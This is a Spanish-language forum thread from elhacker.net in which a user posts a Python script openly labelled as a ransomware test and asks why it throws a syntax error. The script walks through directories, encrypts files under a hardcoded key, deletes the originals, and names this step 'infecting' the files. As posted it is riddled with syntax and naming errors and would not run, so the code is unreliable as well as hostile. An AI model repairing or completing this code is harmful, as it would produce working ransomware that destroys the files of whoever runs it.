Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: RispeKk en 30 Enero 2019, 18:07 pm



Título: [Duda] codigo de prueba de rasomware
Publicado por: RispeKk en 30 Enero 2019, 18:07 pm
Hola buenas estoy probando algo que estoy haciendo pero tengo una duda no conozco mucho de phyton solo lo básico, y mi duda es para windows lo cambio a administrator? o solo lo dejo root?. Por que lo quiero ejecutar para windows y en phyton mi da error en consola

C:\Users\Rispek\Desktop>test.py
  File "C:\Users\Rispek\Desktop\test.py", line 20
    for root,direcs, archivos in os.walk()
                                         ^
SyntaxError: invalid syntax

Y esto lo que hice

Código
  1. import os
  2.  
  3. from simplecrypt import encrypt
  4.  
  5. path = 'desktop\rasomware'
  6. key = "prueba"
  7.  
  8. def cifrado_basico(key, archivo_entrada, archivo_salida=None):
  9. if not archivo_salida:
  10. archivo_salida = archivo_entrada + ".encrypt"
  11.  
  12. size = os_path.getsize(archivo_entrada)
  13.  
  14. with open("archivo_entrada, 'rb'") as ifile:
  15. with open(archivo_salida, 'wb') as ifile:
  16. cifrar = encrypt(key, ifile.read())
  17. ofile.whrite(cifrar)
  18.  
  19. def infectar_archivos():
  20. for root,direcs, archivos in os.walk()
  21.    for archivo in archivos:
  22.     if archivo_endswith(.py)
  23.       cifrado_basico(key, os_path.join(root, archivo))
  24.       os_remove(os_path.join(root, archivo))
  25.  
  26.  
  27. infectar_archivos()